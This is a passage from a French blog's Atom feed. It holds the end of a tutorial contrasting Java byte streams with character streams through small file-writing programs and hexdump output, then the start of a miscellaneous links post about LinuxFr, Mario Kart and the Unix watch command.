&lt;p&gt;Extrait de &lt;a href="http://download.oracle.com/javase/tutorial/essential/io/charstreams.html"&gt;Oracle ex Sun&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Hmm&lt;/em&gt; Là, ce n&amp;rsquo;est plus si simple. Puisque l&amp;rsquo;on me parle d&amp;rsquo;un &lt;em&gt;super-ensemble&lt;/em&gt; de l&amp;rsquo;ASCII, je dois penser à ma &lt;em&gt;locale&lt;/em&gt; (chez moi c&amp;rsquo;est &lt;code&gt;fr_BE-UTF8&lt;/code&gt;). Je dois également avoir en tête que :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un caractère en Java est codé en Unicode, sur 2 bytes &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;Java va devoir faire un appel système a un moment donné afin d&amp;rsquo;écrire le caractère dans le flux (et là, ma &lt;em&gt;locale&lt;/em&gt; va influencer le tout)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… il est temps de faire quelques tests. &lt;/p&gt;
&lt;p&gt;Et (naturellement) le plus simple est d&amp;rsquo;utiliser les &lt;strong&gt;fichiers&lt;/strong&gt; comme flux. Je vais donc écrire dans un fichier. J&amp;rsquo;écris un petit programme tout simple du style;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.OutputStream&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.FileOutputStream&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SeizeOutputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;OutputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileOutputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;file&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Erreur: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si je visualise le fichier, je ne vois rien de probant; un caractère « illisible ». Un petit détour par la table unicode correspondante &lt;a href="http://www.unicode.org/charts/PDF/U0000.pdf"&gt;(pdf)&lt;/a&gt; m&amp;rsquo;informe que le caractère de code unicode &lt;code&gt;16 (0x10)&lt;/code&gt; est le caractère &lt;code&gt;DLE&lt;/code&gt; inreprésentable.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;0010 &amp;lt;control&amp;gt; = DATA LINK ESCAPE&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si je fait un &lt;code&gt;hexdump&lt;/code&gt;, je retrouve mon &lt;code&gt;16&lt;/code&gt; (qui, pour rappel, vaut bien &lt;code&gt;0x10&lt;/code&gt; en hexa).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;hexdump&lt;span class="w"&gt;  &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="m"&gt;00000000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;.&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="m"&gt;00000001&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… et si je lis le fichier avec un &lt;code&gt;FileInputStream&lt;/code&gt; ?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.InputStream&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.FileInputStream&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SeizeInputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;InputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileInputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;file&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Char: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Erreur: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je retrouve mon 16.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;java&lt;span class="w"&gt; &lt;/span&gt;SeizeInputStream&lt;span class="w"&gt; &lt;/span&gt;
Char:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Faisons exactement la même chose avec les &lt;strong&gt;flux texte&lt;/strong&gt;. J&amp;rsquo;écris le code&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.Writer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.FileWriter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SeizeWriter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Writer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;file&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Erreur: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je regarde le contenu de mon fichier, toujours ce même caractère et le &lt;em&gt;hexdump&lt;/em&gt; me donne aussi le même résultat. Quelle est donc la différence entre les deux ? Ais-je bien compris &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; ce que j&amp;rsquo;écris dans le fichier ?&lt;/p&gt;
&lt;p&gt;Dans le cas du flux &lt;strong&gt;binaire&lt;/strong&gt;, j&amp;rsquo;écris &lt;strong&gt;un byte&lt;/strong&gt; qui est le &lt;strong&gt;byte de poids faible&lt;/strong&gt; de l&amp;rsquo;&lt;code&gt;int&lt;/code&gt; que je passe en paramètre à la méthode &lt;code&gt;write&lt;/code&gt; de la classe &lt;code&gt;OutputSream&lt;/code&gt;. Dans le cas du &lt;strong&gt;flux texte&lt;/strong&gt;, j&amp;rsquo;écris &lt;strong&gt;deux bytes&lt;/strong&gt; qui sont les &lt;strong&gt;deux bytes de poids faible&lt;/strong&gt; de l&amp;rsquo;&lt;code&gt;int&lt;/code&gt; que je passe en paramètre à la méthode &lt;code&gt;write&lt;/code&gt; de la classe &lt;code&gt;Writer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;… Évidemment en choisissant 16 comme valeur, ce n&amp;rsquo;est pas probant. Remplaçons la ligne&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;par (je pense que l&amp;rsquo;on part en Asie)&lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;os.write(0x4E07)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
… et l&amp;rsquo;on peut maintenant voir une différence.&lt;/p&gt;
&lt;p&gt;&lt;img alt="writer.png" src="/images/writer.png" title="writer.png, mar. 2011"&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="outputstream.png" src="/images/outputstream.png" title="outputstream.png, mar. 2011"&gt;&lt;/p&gt;
&lt;p&gt;Comment interpréter cette différence ?&lt;/p&gt;
&lt;p&gt;Le caractère &amp;#x4E07; &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; est bien le caractère de code unicode &lt;code&gt;0x4E07&lt;/code&gt; et c&amp;rsquo;est normal que ce soit lui que je vois apparaitre dans un contexte &amp;ldquo;texte&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Le caractère &amp;lsquo;&lt;strong&gt;N&lt;/strong&gt;&amp;rsquo; que je vois dans le contexte binaire provient du fait que j&amp;rsquo;écris le byte de poids faible contenu dans l&amp;rsquo;&lt;code&gt;int&lt;/code&gt; &lt;code&gt;0x4E07&lt;/code&gt;… qui est la valeur &lt;code&gt;0x4E&lt;/code&gt;… qui est le code unicode du caractère &lt;code&gt;N&lt;/code&gt;. Et c&amp;rsquo;est gagné ! (Les attentifs se demanderont si l&amp;rsquo;on est &lt;em&gt;petit indien&lt;/em&gt; ou &lt;em&gt;grand indien&lt;/em&gt; avant de poser la question: &lt;/p&gt;
&lt;p&gt;— Et pourquoi pas le caractère de contrôle &lt;code&gt;BEL&lt;/code&gt; de code unicode &lt;code&gt;0x0007&lt;/code&gt; ?.&lt;/p&gt;
&lt;p&gt;En espérant que ceci vous a apporté un petit éclairage…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Références&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/"&gt;La documentation du package io chez Oracle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Le site &lt;a href="http://unicode.org/"&gt;unicode.org&lt;/a&gt; et plus particulièrement &lt;a href="http://unicode.org/charts"&gt;les tables unicode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Tous les mots ont de l&amp;rsquo;importance. Je parle d&amp;rsquo;un caractère, pas d&amp;rsquo;une chaîne. J&amp;rsquo;induis le fait que Java code en UTF16 et donc qu&amp;rsquo;il ne permet qu&amp;rsquo;un sous-ensemble d&amp;rsquo;Unicode. J&amp;rsquo;ai déjà dis tout ça dans &lt;a href="2009-11-30-unicode-UTF8-UTF16-UTF32-et-tutti-quanti.html"&gt;ce post&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;C&amp;rsquo;est une figure de style. Maintenant que j&amp;rsquo;écris ce post, c&amp;rsquo;est que c&amp;rsquo;est plus ou moins clair dans ma tête ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Il est possible que votre navigateur ne le représente pas. Ça dépend du navigateur et de la police utilisée.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #5</title><link href="http://blog.namok.be/2011-02-21-Vrac-5.html" rel="alternate"/><published>2011-02-21T00:00:00+01:00</published><updated>2011-02-21T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-02-21:/2011-02-21-Vrac-5.html</id><summary type="html">Vrac #5</summary><content type="html">&lt;p&gt;&lt;a href="http://linuxfr.org/"&gt;LinuxFr&lt;/a&gt; change de style (&lt;a href="http://dacode.sourceforge.net/index.fr.html"&gt;DaCode&lt;/a&gt; et autres héritiers deviennent &lt;a href="http://rubyonrails.org/"&gt;RubyOnRails&lt;/a&gt; ), son flux RSS en profite pour &lt;a href="http://linuxfr.org/news.atom"&gt;changer aussi&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;Si vous êtes fan de &lt;strong&gt;Mario Kart&lt;/strong&gt;, on peut voir &lt;a href="http://www.korben.info/mario-kart-2.html"&gt;Mario Kart&lt;/a&gt; , version &lt;a href="http://nimportequi.com/"&gt;Rémi Gaillard&lt;/a&gt; ou (mieux) en &lt;a href="http://www.korben.info/mario-kart-en-vrai-mais-cest-pas-celle-de-remi-gaillard.html"&gt;version japonaise&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;Si tu perds ton IPhone, tu perds tes mots de passe. C&amp;rsquo;est bon à savoir. &lt;em&gt;&lt;a href="http://www.korben.info/iphone-tous-les-mots-de-passes-enregistres-sont-recuperables-en-moins-de-6-minutes.html"&gt;Lost you IPhone&lt;/a&gt;&lt;/em&gt; .&lt;/p&gt;
&lt;p&gt;Petit rappel de &lt;a href="http://debaday.debian.net/2008/12/21/watch-from-procps-execute-a-program-at-regular-intervals-and-show-the-output/"&gt;l&amp;rsquo;utilisation de la commande watch&lt;/a&gt; permettant de montrer le résultat de l&amp;rsquo;exécution d&amp;rsquo;une commande; &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;watch&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;-n2&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-l
